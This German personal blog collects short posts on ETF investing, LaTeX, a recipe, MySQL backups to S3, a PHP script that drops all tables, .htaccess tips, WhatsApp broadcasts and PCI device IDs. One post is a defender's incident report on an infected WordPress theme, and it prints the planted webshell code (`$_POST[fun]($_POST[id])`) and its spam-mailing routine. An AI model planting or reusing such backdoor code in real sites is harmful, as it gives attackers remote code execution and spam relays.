Mit Aktien den sinkenden Zinsen entkommen – Eine Einführung

Aktienhandel wird in letzter Zeit aufgrund der sinkenden Zinsen im Sparbereich immer interessanter. Gerade auch Leute mit nicht riesigen Vermögenswerten entdecken den Aktienhandel als Möglichkeit noch Redite überhalb der Inflation einzufahren. Ich selbst bin inzwischen seit knapp 1,5 Jahren an der Börse mehr oder weniger aktiv. Nachdem ich nun erneut von einem guten Freund auf Aktien und das ganze Drumherum angesprochen wurde, habe ich entschieden eine kleine Zusammenfassung der Möglichkeiten zu geben, die als Einstieg und grundsätzliche Themensondierung sicherlich hilfreich sein wird. Ich gehe hier bewusst nicht in die Tiefe, wer aber Lust hat mit mir genauer drüber zu sprechen, kann mich gerne kontaktieren oder einen Kommentar darlassen.

Im Grunde gibts beim „Aktienkrams“ zwei Möglichkeiten: entweder man möchte wirklich aktiv handeln, guckt dann nach Firmen die man für gut hält und verkauft sie ,im Optimalfall wenn sie gestiegen sind wieder um den Gewinn zu verwirklichen. Dieses Verfahren konkret mache ich nicht, weil es in diesem Fall einfach ein enormer Arbeitsaufwand ist. Dauernd müssen Firmen analysiert, verglichen und ausgewertet werden und man muss schon ein gewisses Stück Marktkenntnis besitzen, um eben sagen zu können ob eine Firma gut ist oder nicht. Zudem ist es eigentlich fast immer ein Ding der Unmöglichkeit einen Aktienkurs verlässlich vorherzusagen. Denn eben sagen zu können „ah die Aktie fällt ab jetzt nur noch“ oder „ah sie steigt ab jetzt“ ist einfach stark von aktuellen Entwicklungen abhängig. Selbst wenn man sich die Analysen der Broker von Banken anguckt findet man häufig zu 5 Analysten die eine Kaufempfehlung aussprechen auch wieder 5 die eine andere Meinung vertreten.
Natürlich ist dieses sogenannte Trading Modell eine Möglichkeit in kurzer Zeit extrem viel Geld zu verdienen, aber eben auch genau dieses zu verlieren.
Und weil ich als Student sowieso nur begrenzt Zeit habe jeden Tag Aktienkurse zu beobachten bzw. Nachrichten zu analysieren benutze ich dieses Modell nicht.

Eine Alternative dazu ist die sogenannte Dividendenstrategie bei dieser nutzen wir aus, das viele Firmen dafür das wir als Aktionäre beim Kauf einer Aktie der Firma Geld zur Verfügung stellen, uns dafür im Gegenzug einen Ausgleich bezahlen. Dieser Ausgleich ist die sogenannte Dividende. Das ist meistens ein Anteil des Unternehmensgewinns der dann pro Aktie ausgeschüttet wird. Bedeutet im Umkehrschluss je mehr Aktien von einer Firma die Dividenden ausschüttet wir halten desto mehr Dividenden erhalten wir. Der Vergleich mit dem Zins hinkt ein bisschen weil diese Dividenden im Gegensatz zum meistens garantierten Zins von der Bank, akut vom Unternehmenserfolg abhängig sind. Unternehmen denen es wirtschaftlich schlecht geht könnten ihre Dividende verringern oder sogar streichen!
Inzwischen hat sich rund um die Dividenden Strategie allerdings ein regelrechter Kult entwickelt der dazu geführt hat das beispielsweise Unternehmen die bereits seit 25 Jahren durchgängig eine Dividende ausgeschüttet haben als Aristokraten bezeichnet werden und dementsprechend gerne gekauft werden da das Unternehmen so also bereits seit 25 Jahren stabil läuft und die Wahrscheinlichkeit das es weitere 10 Jahre gut läuft höher ist als bei einem neuen Startup.

Nun ist es auch hier natürlich ein Aufwand eine Analyse der einzelnen Unternehmen zu machen, allerdings ist hier ein deutlich längerer Horizont von Interesse. Bei der Dividendenstrategie geht man meistens von einem Anlagehorizont von mindestens 5-10 Jahren aus. Abzusehen ob ein Unternehmen in 5-10 Jahren noch gut funktioniert geht aber schon ein wenig besser als das für kürzere Abstände möglich wäre.

Einer der wichtigsten Eckpunkte im Aktienhandel ist jedoch Diversifizierung das heißt, nicht nur alles Geld in eine Sache/Aktie stecken sondernso breit wie möglich streuen. Das Ergebnis von einem solchen Vorgehen ist, dass falls mal eine Firma pleite gehen sollte (ein Risiko besteht immer) der Verlust ebenfalls begrenzt ist.
Es gilt also im Optimalfall sowohl in Branchen als auch in Länder so weit es geht zu streuen.

Hier spielt der Faktor Kosten langsam jedoch auch eine große Rolle, jede Transaktion an einer Börse über eine Bank kostet Geld, das ist meistens je nach Bank, Börse und vorallem Volumen (wie viele Aktien werden gekauft? ) unterschiedlich. Typisch ist aber derzeit so ein Mindestpreis von ca. 10€ pro Transaktion bis 1000€ Transaktionsvolumen.

Würde man nun Aktien für beispielsweise 100€ kaufen, bezahlt man meistens dennoch 10€ Gebühren und hätte so eine Kostenquote von 10%. Hier würden die Gebühren jeglichen Gewinn schnell auffressen!
Allgemein versucht man immer ein Preis / Kosten Verhältnis von 1% zu erlangen, was jedoch erst bei mindestens 1000€ pro Wert möglich wird. Bei einem geringen Vermögen unter 10k wird so eine angemessenen Diversifizierung schwierig.

Um das Problem zu umgehen gibt es eben sogenannte Fonds, das sind meistens von Banken oder speziellen Firmen auferlegte Geldtöpfe die dann das gesamte eingezahlte Geld in verschiedenste Aktien stecken. Dabei gibt es verschiedenste Fonds vom normalen Europa-Raum bis zu ausschließlich Unternehmen zur Wasserversorgung. Diese Firmen stellen dafür Leute ein, die dann diese Analysen durchführen und dann entscheide wie man am besten das Fondsvermögen investieren kann. Das führt zwangsläufig zu Kosten, die die Fondsgesellschaft direkt vom Gewinn entnimmt. Bei diesen sogenannten aktiv gemanagten Fonds ist eine Kostenquote (TER) von 1,5 – 2% typisch. Diese Kennzahl beschreibt alle anfallenden Kosten die der Aktionär bezahlen muss, typischerweise sind die jedoch immer in den Kurs eingerechnet, sodass nicht irgendwann eine Abbuchung kommt.
Mit der Zeit entstanden dann sogenannte ETFs, dass sind passiv gemanagete Fonds bei denen keine eigenen Fondsmanager eingesetzt werden sondern die die Entwicklung eines Aktienindices wie beispielsweise den DAX als Grundlage nutzen und automatisch exakt die Werte kaufen die in diesem Index vertreten wird. Das schlägt sich durch den verringerten Aufwand auch in der Kostenquote nieder, wobei typische ETFs oft bei 0,3 – 0,9 % liegen.
Ein Problem von diesen Fonds und ETFs ist zwar, das die Aktien nicht vom Anleger direkt gehalten werden, somit auch beispielsweise keine Berechtigung besteht zur Hauptversammlung einer Firma zu gehen. Der große und definitiv überwiegende Vorteil ist jedoch, das durch die niedrigen Kosten schon mit geringen Kapital eine Diversifizierung erreicht werden kann, die eine Pleite auch übersteht ohne jegliches Kapital zu verlieren. Viele Banken bieten sogar kostenlose Sparpläne an, wodurch jeden Monat Anteile eines ETFs für einen gewissen Betrag gekauft werden können ohne Transaktionsgebühren zu bezahlen.

Auch ich investiere derzeit ausschließlich in ETFs aus dem Europäischen und amerikanischen Raum, so kann ich fast die gesamte Welt abdecken und am Wirtschaftswachstum teilnehmen ohne zu befürchten das mein gesamtes Kapital morgen verloren ist.

Insgesamt zeigt sich denke ich, dass das Thema deutlich umfangreicher ist als gedacht. Dennoch lässt sich relativ leicht in den Aktienhandel einsteigen, auch ohne direkt 20k zu investieren. Falls ihr Rückfragen habt oder Schwierigkeiten beim Verständnis hattet meldet euch!

Dieser Text soll lediglich eine kurze Einführung in das komplexe Thema Aktien sein. Um einen tieferen Einblick zu erlangen empfehle ich das Buch: „Cool bleiben und Dividenden kassieren: Mit Aktien raus aus der Nullzins-Falle“ von von Christian W. Röhl und Werner H. Heussinger welches auch mir sehr geholfen hat. Oder auch die sehr gut organisierte Facebook Gruppe „Dividendenstrategie​“.

Das ganze hier stellt selbstverständlich keine Finanzberatung oder Kaufempfehlung dar. Aktienhandel ist risikoreich und kann zum kompletten Verlust des eingesetzten Vermögens führen. Deshalb gilt immer der oberste Grundsatz: Investiere nur das was du entbehren kannst. Wichtig ist auch immer ein gutes Finanzpolster direkt verfügbar zu haben um auch unvorhergesehene Ausgaben abfedern zu können.

Buchstaben als Listenpunkte in LaTex

Ich nutze zur Abwechslung in manchen Dokumenten anstatt ausschließlich arabische Ziffern zu nutzen, gerne auch mal Buchstaben (a, a), a.) für Auflistungen. Ziel ist es also eine enumerate Umgebung zu haben, mit Buchstaben als Aufzählung anstatt Ziffern. Dafür gibt es zwei Lösungen, eine etwas schnellere (quick and dirty) und eine sehr saubere, die allerdings ein weiteres Paket erfordert.

Lösung 1: sauber mit Paket

Folgendes Paket bringt die Möglichkeit, für jede Liste einzeln die entsprechenden Aufzählungspunkte auszuwählen. (Es lassen sich so auch römische Aufzählungspunkte realisieren.)

\usepackage{enumitem}
...
\begin{enumerate}[label=\Alph*]
    \item Aufzählungselement a
    \item nächster Aufzählungspunkt
\end{enumerate}

Lösung 2: quick and dirty

Die folgende Codezeile definiert das Kommando zur Formatierung der Aufzählungselemente um und ersetzt es durch alphabetische Listenpunkte. Wenn dieses Kommando unter der Einbindung der Pakete ins Dokument eingefügt wird, sind alle folgenden Listen mit alphabetischen Aufzählungspunkten versehen.

\renewcommand{\theenumi}{\Alph{enumi}}

Ihr habt weitere LaTeX Fragen oder die Antwort löst euer Problem nicht? Fragt in den Kommentaren nach und vielleicht findet sich gemeinsam eine Lösung für euer spezielles Problem.

Rezept: Mexikanische Gemüsepfanne

Gemüsepfannen sind grundsätzlich immer sehr lecker und eine gute Alternative zu normalen typischen Nudelgerichten. Dennoch finde ich kann es schnell eintönig werden. Als ich mal wieder Lust auf selberkochen hatte, haben wir uns für eine mexikanische Gemüsepfanne entschieden, was auch daran lag, dass wir alle Zutaten im Haus hatten. Ergänzt haben wir die Pfanne mit angebratenem Hackfleisch und Tortillas als mexikanische Beilage. Das Rezept geht relativ schnell, schmeckt sehr lecker und sättigt die ganze Familie, liegt aber trotzdem nicht schwer im Magen.

Drucken

Mexikanische Gemüsepfanne


Vorbereitungszeit 10 Minuten
Zubereitungszeit 35 Minuten
Arbeitszeit 45 Minuten
Portionen 4 Personen

Zutaten

  • 1 Paprikaschote(n), rot in Stücke geschnitten
  • 1 Porreestange in Ringe geschnitten
  • 1 große Möhre in Scheiben geschnitten
  • 1 große Zwiebel in Ringe geschnitten
  • 1 Zehe Knoblauch fein gehackt
  • 1 Dose Mais abgetropft
  • 1 Dose Kidneybohnen abgetropft und gespült
  • 2 EL Tomatenmark
  • 200 ml Crème fraîche
  • 1 rote Chilischote
  • Salz und Pfeffer
  • Paprikapulver
  • Cayennepfeffer
  • Chilipulver

Anleitungen

  1. Das frische Gemüse und die Chilis in etwas Öl in einer großen Pfanne weich braten. Dabei die unterschiedlichen Garzeiten beachten (also zuerst mit den Möhren anfangen).
  2. Mais und Kidneybohnen abtropfen, die Kidneybohnen mit Wasser abspülen, zum restlichen Gemüse geben und kurz mitgaren.
  3. Das Tomatenmark und die Creme fraiche zugeben und nochmal ca. 10 min. erwärmen.

Rezept-Anmerkungen

Falls die Soße zu fest ist mit ein wenig Milch verdünnen. Auch als Füllung für Tortillas geeignet, sonst passt Reis gut dazu. Auch noch angebratenes, scharf gewürztes Hackfleisch ist eine gute Ergänzung für alle die es nicht vegetarisch möchten. Auch mit Tortillas (gibts fertig in jedem Discounter) sehr lecker.

MySQL Datenbank Backup auf Amazon S3 speichern

You can find the whole instructions and how to in English when you follow this link: Instructions in English

Datenverluste ohne Datensicherungen sind so gut wie das schlimmste was jedem Webentwickler passieren kann. Ich musste schon 1-2x das ganze auf dem harten Weg erfahren. Inzwischen baue ich jedoch in fast jede Anwendung automatische Back-Ups der Benutzerdaten ein.

Ich stehe dabei voll und ganz auf Cloud Backups, derzeit noch bei Amazon AWS S3 erstens habe ich hier die Möglichkeit meine Region auszuwählen, ich bleibe aufgrund von Datenschutzrichtlinien dabei gerne in der neuen Frankfurt Region, andererseits habe ich auch wirklich geringe Kosten, ich bezahle derzeit pro Monat ca. 0,05$ und das ist mir die Sicherheit meiner Daten definitiv wert. Interessant finde ich auf jeden Fall auch Google Cloud Storage. Google holt inzwischen mit und mit immer mehr im Service Bereich auf und ist wie ich gesehen habe oft auch noch günstiger und bietet mit der Console ein deutlich besseres Benutzerfeeling als AWS. Vielleicht steige ich in Zukunft mal darauf um. (Dann müsste ich das Skript hier allerdings anpassen. ;))

Inzwischen wollte ich das ganze auf dem Webserver der Firma aber automatisieren. Dafür habe ich mir nun ein kleines Bash-Backup Skript geschrieben, welches ich über Crontab jede Nacht um 3:00 Uhr ausführe um möglist keine Nutzer zu stören aber eine gute Backup Abdeckung habe.

Nun möchte ich euch Schritt für Schritt durch den Einrichtungsprozess führen.

0. AWS S3 vorbereiten

S3 Benutzerpolicy

S3 Benutzerpolicy

  1. Zuerst braucht ihr einen Amazon Web Services Account falls ihr den noch nicht besitzt.
  2. Dann einmal ein loggen und einen neuen Bucket (quasi Ordner) für die Backups erstellen.
  3. Optional könnt ihr direkt auch bestimmte sogenannte Lifecycle Policies erstellen. Ich trage dort immer ein das ausschließlich Backups der letzten 30 Tage gespeichert bleiben sollen. Mehr brauche ich nicht, das könnt ihr natürlich anpassen.
  4. Nun müsst ihr im sogenannten IAM einen neuen Benutzer anlegen, mit dem ihr auf euren Bucket zugreifen könnt. Vergebt diesem am besten die Policy AmazonS3FullAccess
  5. Achtet darauf die Access und Secret Keys herunterzuladen, die brauchen wir gleich.

1. s3cmd installieren

s3cmd ist eine Konsole Utility die S3 als Filesystem einbindet und Methoden zum Upload bereitstellt.
Führt folgende Befehle auf um s3cmd auf eurem Server zu installieren, diese Anleitung beschreibt einen Ubuntu Server für andere Distributionen kann sich das ganze ändern.

Achtung! Achtet darauf mindestens Version 1.6.* zu installieren, ältere Versionen unterstützen eine neue Art von Login Verfahren von S3 noch nicht. Die in den Paketquellen vorgehaltenen Versionen sind oft sehr veraltet.

# Installiert s3cmd
sudo apt-get -y install python-setuptools
wget http://netix.dl.sourceforge.net/project/s3tools/s3cmd/1.6.1/s3cmd-1.6.1.tar.gz
tar xvfz s3cmd-1.6.1.tar.gz
cd s3cmd-1.6.1
sudo python setup.py install
# Konfiguriert s3cm
s3cmd --configure

Bei der Konfiguration müsst ihr zu den Access und Secret Keys auch die Region spezifizieren, Frankfurt ist eu-central-1, andere Regionen könnt ihr in der AWS Konsole herausfinden.

2. Skript hochladen

Ladet euch dieses Skript herunter: MySQL zu S3 Backup Skript und passt oben in den ersten Zeilen die Daten an.

Das Skript erstellt ebenfalls ein Verzeichnis backup wo es temporär vor dem hochladen die Dateien ablegt, falls ihr dieses ändern wollt geht dies weiter unten im Code.
Führt dann einmal folgende Befehle aus und überprüft dann ob eine Sicherung erfolgreich hochgeladen wurde.

# Skript ausführbar machen
chmod +x s3backup.sh
# Testlauf los gehts!
./s3backup.sh

3. Automatisch aufrufen lassen

Damit ihr nun nicht jede Nacht um 3:00 Uhr selbst aufstehen müsst um das Skript zu starten, empfiehlt es sich das ganze mit crontab oder runwhen automatisch ausführen zu lassen.

Dazu öffnet ihr mit folgendem Befehl die Crontab Konfigurationsdatei.

crontab -e

Beim ersten Start von Crontab werdet ihr nach einem Editor gefragt, wählt hier einfach nano das ist der einfachste.

Dann fügt ihr folgende Zeile in die Datei ein:

0 3 * * * bash /var/www/s3backup.sh >/dev/null 2>&1

Eventuell müsst ihr den Pfad hier noch ein wenig anpassen. Das Skript wird laut diesem Eintrag, jede Nacht um 3:00 Uhr ausgeführt auch das lässt sich natürlich anpassen.

4. Fertig!

Nun könnt ihr beruhigt schlafen ohne Datenverluste befürchten zu müssen.
Jetzt seid aber ihr dran, habt ihr weitere Idee oder Fragen? Wie löst ihr eure Backup Probleme? Oder habt ihr eine ganz andere Strategie? Ich freue mich auf euer Feedback in den Kommentaren.

MySQL Datenbank leeren per PHP Skript

Manchmal hat man keinen Zugang zu PHPMyAdmin oder Ähnlichem und muss aber trotzdem die Datenbank leeren und die Tabellen alle löschen.
Ich hatte das Problem und keinerlei Zugang zu den Verwaltungstools. Mit einem kleinen selbstentwickelten PHP Skript, welches ich per FTP hochgeladen habe und dann ausgeführt habe lies sich das Problem recht schnell lösen.

Einfach die Platzhalte USERNAME, PASSWORT, DATENBANK mit euren Daten ersetzen und ausführen. Viel Erfolg.

<?php

$mysqli = new mysqli('localhost', 'USERNAME', 'PASSWORT', 'DATENBANK');

if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') '
            . $mysqli->connect_error);
}

$result = $mysqli->query("show tables"); // run the query and assign the result to $result
while($table = $result->fetch_array()) { // go through each row that was returned in $result
    echo($table[0] . "<BR>");
    $mysqli->query('DROP TABLE '.$table[0]);
    echo "geloescht <br>"; // print the table that was returned on that row.
}
?>

Webseite / Uberspace ohne WWW auf WWW umleiten

Manchmal will man aus sozialverträglichen Gründen, dass eine Webseite ausschließlich über die URL mit www. am Anfang erreichbar ist. Alle Anfragen die dann nicht mit www. beginnnen, sollen dann dementsprechend umgeleitet werden. Auch um zu vermeiden, dass Google bei einer Webseite die sowohl über www. als auch ohne erreichbar ist Duplicate Content vermutet, Google rankt solche Seiten meistens schlechter. Man sollte nun darauf achten, dass der Inhalt immer nur über eine einzigartige URL erreichbar ist. Dabei ist das ganze wirklich einfach.

Vorgehen

  1. Verzeichnis mit www. anlegen (Subdomain)
    Das Verzeichnis lässt sich am schnellsten per SSH mit
    $ mkdir /var/virtual/USERNAME/www.DOMAINNAME.de anlegen. Sonst einfach über den FTP-Client das folgende Verzeichnis anlegen /var/virtual/USERNAME/www.DOMAINNAME.de
  2. Nun brauchen wir noch eine .htaccess Datei die unsere Umleitung durchführt. Ich habe euch eine kleine .htaccess Datei vorbereitet, die ihr einfach nur noch anpassen müsst. Dort müsst ihr nur noch euren Domainnamen einsetzen.
    RewriteEngine On
    RewriteCond %{HTTP_HOST} !=www.DOMAIN.de
    RewriteRule (.*) http://www.DOMAIN.de/$1 [R=301,L]
    
  3. Jetzt nur noch schnell die .htaccess in das normale Verzeichnis hochladen (/var/virtual/USERNAME/html) fertig. Eure Webseite ladet ihr dann in das Subdomain Verzeichnis hoch, welches wir in Schritt 1 angelegt haben.

Nun seid ihr dran! Habt ihr Fragen oder eigene Erfahrungen? Ich freue mich auf eure Kommentare.

Google Page Speed verbessern

Der Google Page Speed hat angeblich einen großen Einfluss auf die Platzierung in den Suchergebnissen.

Zwei Punkte dabei, lassen sich mit wenig Aufwand schnell ändern und erzeugen oft schon eine deutliche Steigerung in der Punktanzahl.
Bildschirmfoto vom 2015-02-21 22:53:13
Für beide möchte ich heute ein Snippet präsentieren was in die .htaccess Datei gehört und dann eine hoffentlich große Auswirkung auf die Geschwindigkeit erzielt.

Browser-Caching nutzen

Das Browser Caching „sagt“ dem Browser, wie lange er bestimmte Resourcen im Cache behalten darf und diese quasi nicht neuladen muss. So können Anfragen und vor allem das öftere Herunterladen von Bilder etc. gespart werden.
Bilder sind standardmäig 1 Woche gespeichert, JavaScript und HTML 1 Monat genauso lang wie das Favicon. Die CSS Datei cache ich meistens nur 1 Woche, da ich daran oft viel dran bastle und nicht möchte das kaputte Styles übertragen werden. Beachtet das ihr dann darauf achten solltet, dass ihr bei der Entwicklung auf STRG + R zurückgreifen solltet, falls ihr den Cache zum Test übergehen wollt.

# Caching of resources - fundstuecke im netz
<IfModule mod_expires.c>
 ExpiresActive On
 ExpiresByType text/css "access plus 1 week"
 ExpiresByType text/javascript "access plus 1 month"
 ExpiresByType text/html "access plus 1 month"
 ExpiresByType application/javascript "access plus 1 month"
 ExpiresByType application/x-javascript "access plus 1 month"
 ExpiresByType application/xhtml-xml "access plus 600 seconds"
 ExpiresByType image/gif "access plus 1 week"
 ExpiresByType image/jpeg "access plus 1 week"
 ExpiresByType image/png "access plus 1 week"
 ExpiresByType image/x-icon "access plus 1 month"
 ExpiresByType image/svg+xml "access plus 1 week"
</IfModule>

Komprimierung aktivieren

Die Komprimierung verringert die Größe von Code Files und Bildern aus .svg, indem es Leerzeichen und Absätze entfernt und generell einen Mechanismus ähnlich wie .zip anwendet.
Ich habe noch .svg hinzugefügt, da es noch ein weiteres textbasiertes Format ist welches ich inzwischen aufgrund seiner Vorteile dem verlustfreien Skalieren sehr schätze und desshalb auch wert ist zu komprimieren.

AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/javascript text/javascript image/svg+xml

Jetzt seit ihr dran! Habt ihr Erfahrungen zum Cachen oder mit .htaccess Dateien? Nutzt ihr einen WordPress eigenen Cache oder ein Plugin für euer CMS? Ich freue mich auf eure Kommentare.

WordPress Premium Themes infiziert (Revolution Slider)

Ein Kunde, hat mich vor kurzem darauf aufmerksam gemacht, dass er eine große Menge an E-Mails mit folgendem Betreff bekommt Undelivered Mail Returned to Sender. Normalerweise heißt, dass das E-Mails an falsche E-Mail Adressen gegangen sind und dann zurück gegangen sind, der Kunde hat jedoch keine E-Mails über diesen Account verschickt!
Nach gemeinsamer Suche mit guter Kundenkooperation, haben wir im access_log der Webseite eine recht häufige Anzahl an Aufrufen der 404.php des WordPress Themes gefunden.

188.120.XXX.XX - - [07/Jan/2015:14:45:20 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
92.26.XXX.XX - - [07/Jan/2015:14:45:21 +0100] "POST /wp-content/themes/skybox/404.php HTTP/1.1" 200 4 "-" "Opera 10.00"
188.120.XXX.XXX - - [07/Jan/2015:21:54:13 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:23 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:27 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"

Dem Kunden fiel auf, dass die Aufrufe zeitlich gesehen her, mit dem Eintreffen der Fehlermeldungen bei der E-Mail übereinstimmen. Nach Begutachtung der 404.php des verwendeten Themes (ein Premium Theme von themeforest.net) fanden wir eine stark verseuchte Datei mit Zeilen wie:

if (isset($_GET["ping"]) and $_GET["ping"] == ("ping_host")) { 
echo "true"; 
}else{ 

if (isset($_POST[id])){
	stripslashes($_POST[fun]($_POST[id]));	
}

Und kamen im Endeffekt bei einer E-Mail senden Funktion aus.

if ($sposob_otp == ("true")) 
{
	$return = smtpmail($smtp_host, $smtp_port, $smtp_login, $smtp_passw, $email_polucha, $telo_pisma, $headers);
}else
{
	$return = mail($email_polucha,$tema_pisma,$telo_pisma,$headers);
}

Es scheint als sei das Plugin Revolution Slider der Beginn des Problems. Diese Plugin hat laut heise.de bis einschließlich Version 4.1.4 eine gravierende Sicherheitslücke, die Angreifern Zugriff auf das Dateisystem und die WordPress Konfigurationsdateien und somit auch auf die Datenbank ermöglicht. Das Problem ist, dass diese Plugin als inkludiertes Plugin mit vielen Business / Premium Themes ausgeliefert wird. Dadurch würde es nur aktualisiert werden, wenn auch das Business Theme neu von zum Beispiel thememforest.net heruntergeladen würde. Dies geschieht aber vermutlich nur in den seltesten Fällen. Themeforest.net hat eine Seite eingerichtet, in der geprüft werden kann, ob das verwendete Theme sicher / unsicher ist und ob eventuell bereits ein Update bereitgestellt wurde.

Im beschriebenen Fall scheint nur die 404.php Datei infiziert gewesen zu sein. Außerdem fand ich drei weitere nicht zum Theme gehörige Dateien im Theme Verzeichnis. Nach erster stichpunktartiger Analyse scheint der Schadcode nur zum Versenden von Spam-Emails gedacht. Per POST Request (siehe access_log) scheinen die Daten, die den Mail-Inhalt ausmachen übermittelt worden sein um dann über die PHP-Funktion mail() verschickt zu werden.

Im Theme Verzeichnis /wp-content/themes/THEMENAME fand ich noch die Dateien inc.php, systemscash.php und mainik.phhp. Alle enthalten auf jeden Fall Schadecode, der teilweise sogar verschlüsselt ist um seine Funktion nicht direkt zu erkennen. Durch die Zeitstempel lässt sich das Datum der Infektion recht leicht eingrenzen.
hack

antivirus-manueller-check
Die WordPress Seite wurde kurzfristig vom Netz genommen und wird derzeit sicherheitstechnisch geprüft. Ein Neuaufsetzen des WordPress Systems wird jedoch unumgänglich sein, da nie ganz sicher ist, ob nicht auch noch andere WordPress Dateien verseucht worden sind. Als gutes Plugin zur Aufdeckung von solchen Angriffen, kann ich das Plugin AntiVirus von Sergej Müller, welcher auch andere bekannt und gute Plugins wie AntiSpam Bee geschrieben hat. Es zeigt einem welche Dateien verseucht sind und führt auf Wunsch einen Test auch täglich durch und schickt das Ergebnis dann per E-Mail an den Admin der Seite schickt.

Ich werde in nächster Zeit, auch die anderen infizierten Dateien genauer untersuchen und hier eine kleine Analyse posten.

Noch eine kleine Bitte an alle von euch: UPDATET EURE THEMES / PLUGINS, AUCH WENN ES ETWAS AUFWAND IST. ES LOHNT SICH!

WhatsApp Weihnachts/Silvestergrüße per Broadcast verschicken

Alle Jahre wieder, möchte man die üblichen Weihnachts- / Silvestergrüße per WhatsApp schicken. Doch jeden Kontakt einzeln auszuwählen und dann die oft gleichen Zeilen da hinein zu kopieren ist zeitaufwändig und kann bei einer großen Menge an Kontakten (ca. 200) an die man Grüße verschickt auch leicht von WhatApp als Spam kategorisiert werden.

Die Lösung sind sogenannte Broadcast Listen von WhatsApp. Die Funktion findet man je nach Gerät an anderer Stelle:

Android

Dabei klickt man in der Android Version auf die 3 Punkte rechts oben und dann im sich öffnenden Menü auf neue Broadcast Liste.

iPhone

In der iPhone Version begibt man sich einfach in die Chat Ansicht, wischt einmal nach unten, sodass oben über allen Chats zwei Buttons erscheinen. Nun kann man oben links auf Broadcast Listen tippen.

Für alle weiteren Betriebsysteme gibt es auf der WhatsApp Webseite selbst eine gute Anleitung.

Das danach folgende Verfahren ist auf beiden Geräten gleich: Zunächst könnt ihr in einem Auswahlfenster die Kontakte auswählen, die ihr alle erreichen wollt. Es kommt dann eine Ansicht, die stark dem Gruppenchat ähnelt. Wenn ihr hier nun eine Nachricht schreibt, wird diese an alle die ihr hinzugefügt habt versendet. Der Empfänger merkt von den Listen gar nix, denn eure Nachricht erscheint bei ihm ganz normal im Chat, wie als würdet ihr nur ihm eine Nachricht schreiben. Bei euch auf dem Telefon wird ein kleines Symbol angezeigt, welches ein Megafon zeigt um zu verdeutlichen, dass diese Nachricht über Broadcast Listen gesendet wurde.

Beispiel für eine über eine Broadcast Liste gesendete Nachricht. Von mir an "Mama"

Beispiel für eine über eine Broadcast Liste gesendete Nachricht. Von mir an „Mama“

Der Empfänger sieht diese Symbol nicht. Auch eine Antwort von ihm erscheint nur bei euch im privaten Chat und bei keinem anderem.

Grundsätzlich sind Broadcast Listen bei WhatsApp also eine gute Möglichkeite eine Nachricht an viele verschiedene Personen zu bringen, ohne Gefahr zu laufen als Spam kategorisiert zu werden oder sich die Finger wund zu tippen.

Falls Ihr noch Fragen habt, euch etwas unklar ist, oder ihr einfach nur Danke sagen wollt für die Hilfe. Zögert nicht einen Kommentar zu hinterlassen.

Unbekanntes Gerät im Gerätemanager identifizieren

Als ich gerade, meinen neuen Lenovo Thinkpad Laptop eingerichtet habe, habe ich ein Gerät mir diversen Treiber nicht identifizieren können. Als ich alle Treiber installiert hatte, wurde es immer noch als Unbekanntes PCI-Gerät angezeigt.

Es gibt jedoch eine einfache Möglichkeit um das Gerät zu identifizieren und dann einen passenden Treiber dazu herauszusuchen. Hilfreich ist hier die Webseite PCI Database, hier sind viele Bauteile mit Vendor und Device IDs katalogisiert und vor allem benannt.

Die Webseite fragt und also auf der Startseite nach Vendor und/oder Device ID, diese finden wir im Gerätemanager wenn wir auf das Unbekannte Gerät doppelklicken. Dann wechseln wir zur Lasche Details und wählen im Drop-Down Menü den Punkt Geräteinstanzpfad aus. Nun finden wir im Feld Wert einen recht langen großen String:

PCI\VEN_8086&DEV_8C3A&SUBSYS_502817AA&REV_04\3&21436425&0&B0

In diesem versteckt finden wir nun, Vendor ID und Device ID. Die Vendor ID ist der 4-stellige Zahlencode nach VEN_ und die Device ID ist der Code nach DEV_.

Im nebenstehenden Bild, ist dies auch noch verdeutlicht.
GeräteManager

Nun geben wir diese beiden IDs auf der Startseite der PCI Database ein und nach einem weiteren Enter wird uns schon ein gutes Ergebnis präsentiert, mit dem wir dann wissen um welches Gerät es sich handelt und so gezielt per Beschreibung nach einem Treiber suchen können.

Beispielhafte Ergebnissseite von PCIDatabase

Beispielhafte Ergebnissseite von PCIDatabase